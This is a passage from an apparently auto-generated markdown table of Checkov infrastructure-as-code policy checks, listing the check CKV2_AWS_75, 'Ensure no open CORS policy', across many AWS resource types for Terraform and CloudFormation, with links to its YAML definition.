[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4090 | CKV2_AWS_75              | resource                         | aws_lb_cookie_stickiness_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4091 | CKV2_AWS_75              | resource                         | aws_lb_listener                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4092 | CKV2_AWS_75              | resource                         | aws_lb_listener                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4093 | CKV2_AWS_75              | resource                         | aws_lb_listener_certificate                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4094 | CKV2_AWS_75              | resource                         | aws_lb_listener_certificate                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4095 | CKV2_AWS_75              | resource                         | aws_lb_listener_rule                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4096 | CKV2_AWS_75              | resource                         | aws_lb_listener_rule                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4097 | CKV2_AWS_75              | resource                         | aws_lb_ssl_negotiation_policy                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4098 | CKV2_AWS_75              | resource                         | aws_lb_ssl_negotiation_policy                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4099 | CKV2_AWS_75              | resource                         | aws_lb_target_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4100 | CKV2_AWS_75              | resource                         | aws_lb_target_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4101 | CKV2_AWS_75              | resource                         | aws_lb_target_group_attachment                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4102 | CKV2_AWS_75              | resource                         | aws_lb_target_group_attachment                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4103 | CKV2_AWS_75              | resource                         | aws_lb_trust_store                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4104 | CKV2_AWS_75              | resource                         | aws_lb_trust_store                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4105 | CKV2_AWS_75              | resource                         | aws_lb_trust_store_revocation                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4106 | CKV2_AWS_75              | resource                         | aws_lb_trust_store_revocation                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4107 | CKV2_AWS_75              | resource                         | aws_lex_bot                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4108 | CKV2_AWS_75              | resource                         | aws_lex_bot                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4109 | CKV2_AWS_75              | resource                         | aws_lex_bot_alias                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4110 | CKV2_AWS_75              | resource                         | aws_lex_bot_alias                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4111 | CKV2_AWS_75              | resource                         | aws_lex_intent                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4112 | CKV2_AWS_75              | resource                         | aws_lex_intent                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4113 | CKV2_AWS_75              | resource                         | aws_lex_slot_type                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4114 | CKV2_AWS_75              | resource                         | aws_lex_slot_type                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4115 | CKV2_AWS_75              | resource                         | aws_lexv2models_bot                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4116 | CKV2_AWS_75              | resource                         | aws_lexv2models_bot                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4117 | CKV2_AWS_75              | resource                         | aws_lexv2models_bot_locale                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4118 | CKV2_AWS_75              | resource                         | aws_lexv2models_bot_locale                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4119 | CKV2_AWS_75              | resource                         | aws_lexv2models_bot_version                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4120 | CKV2_AWS_75              | resource                         | aws_lexv2models_bot_version                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4121 | CKV2_AWS_75              | resource                         | aws_lexv2models_intent                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4122 | CKV2_AWS_75              | resource                         | aws_lexv2models_intent                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4123 | CKV2_AWS_75              | resource                         | aws_lexv2models_slot                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4124 | CKV2_AWS_75              | resource                         | aws_lexv2models_slot                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4125 | CKV2_AWS_75              | resource                         | aws_lexv2models_slot_type                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4126 | CKV2_AWS_75              | resource                         | aws_lexv2models_slot_type                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4127 | CKV2_AWS_75              | resource                         | aws_licensemanager_association                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4128 | CKV2_AWS_75              | resource                         | aws_licensemanager_association                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4129 | CKV2_AWS_75              | resource                         | aws_licensemanager_grant                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4130 | CKV2_AWS_75              | resource                         | aws_licensemanager_grant                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4131 | CKV2_AWS_75              | resource                         | aws_licensemanager_grant_accepter                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4132 | CKV2_AWS_75              | resource                         | aws_licensemanager_grant_accepter                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4133 | CKV2_AWS_75              | resource                         | aws_licensemanager_license_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4134 | CKV2_AWS_75              | resource                         | aws_licensemanager_license_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4135 | CKV2_AWS_75              | resource                         | aws_lightsail_bucket                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4136 | CKV2_AWS_75              | resource                         | aws_lightsail_bucket                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4137 | CKV2_AWS_75              | resource                         | aws_lightsail_bucket_access_key                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4138 | CKV2_AWS_75              | resource                         | aws_lightsail_bucket_access_key                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4139 | CKV2_AWS_75              | resource                         | aws_lightsail_bucket_resource_access                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4140 | CKV2_AWS_75              | resource                         | aws_lightsail_bucket_resource_access                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4141 | CKV2_AWS_75              | resource                         | aws_lightsail_certificate                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4142 | CKV2_AWS_75              | resource                         | aws_lightsail_certificate                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4143 | CKV2_AWS_75              | resource                         | aws_lightsail_container_service                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4144 | CKV2_AWS_75              | resource                         | aws_lightsail_container_service                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4145 | CKV2_AWS_75              | resource                         | aws_lightsail_container_service_deployment_version                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4146 | CKV2_AWS_75              | resource                         | aws_lightsail_container_service_deployment_version                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4147 | CKV2_AWS_75              | resource                         | aws_lightsail_database                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4148 | CKV2_AWS_75              | resource                         | aws_lightsail_database                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4149 | CKV2_AWS_75              | resource                         | aws_lightsail_disk                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4150 | CKV2_AWS_75              | resource                         | aws_lightsail_disk                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4151 | CKV2_AWS_75              | resource                         | aws_lightsail_disk_attachment                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4152 | CKV2_AWS_75              | resource                         | aws_lightsail_disk_attachment                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4153 | CKV2_AWS_75              | resource                         | aws_lightsail_distribution                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4154 | CKV2_AWS_75              | resource                         | aws_lightsail_distribution                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4155 | CKV2_AWS_75              | resource                         | aws_lightsail_domain                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4156 | CKV2_AWS_75              | resource                         | aws_lightsail_domain                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4157 | CKV2_AWS_75              | resource                         | aws_lightsail_domain_entry                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4158 | CKV2_AWS_75              | resource                         | aws_lightsail_domain_entry                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4159 | CKV2_AWS_75              | resource                         | aws_lightsail_instance                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4160 | CKV2_AWS_75              | resource                         | aws_lightsail_instance                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4161 | CKV2_AWS_75              | resource                         | aws_lightsail_instance_public_ports                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4162 | CKV2_AWS_75              | resource                         | aws_lightsail_instance_public_ports                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4163 | CKV2_AWS_75              | resource                         | aws_lightsail_key_pair                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4164 | CKV2_AWS_75              | resource                         | aws_lightsail_key_pair                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4165 | CKV2_AWS_75              | resource                         | aws_lightsail_lb                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4166 | CKV2_AWS_75              | resource                         | aws_lightsail_lb                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4167 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_attachment                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4168 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_attachment                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4169 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_certificate                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4170 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_certificate                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4171 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_certificate_attachment                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4172 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_certificate_attachment                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4173 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_https_redirection_policy                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4174 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_https_redirection_policy                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4175 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_stickiness_policy                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4176 | CKV2_AWS_75              | resource                         | aws_lightsail_lb_stickiness_policy                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4177 | CKV2_AWS_75              | resource                         | aws_lightsail_static_ip                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4178 | CKV2_AWS_75              | resource                         | aws_lightsail_static_ip                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4179 | CKV2_AWS_75              | resource                         | aws_lightsail_static_ip_attachment                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4180 | CKV2_AWS_75              | resource                         | aws_lightsail_static_ip_attachment                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4181 | CKV2_AWS_75              | resource                         | aws_load_balancer_backend_server_policy                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4182 | CKV2_AWS_75              | resource                         | aws_load_balancer_backend_server_policy                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 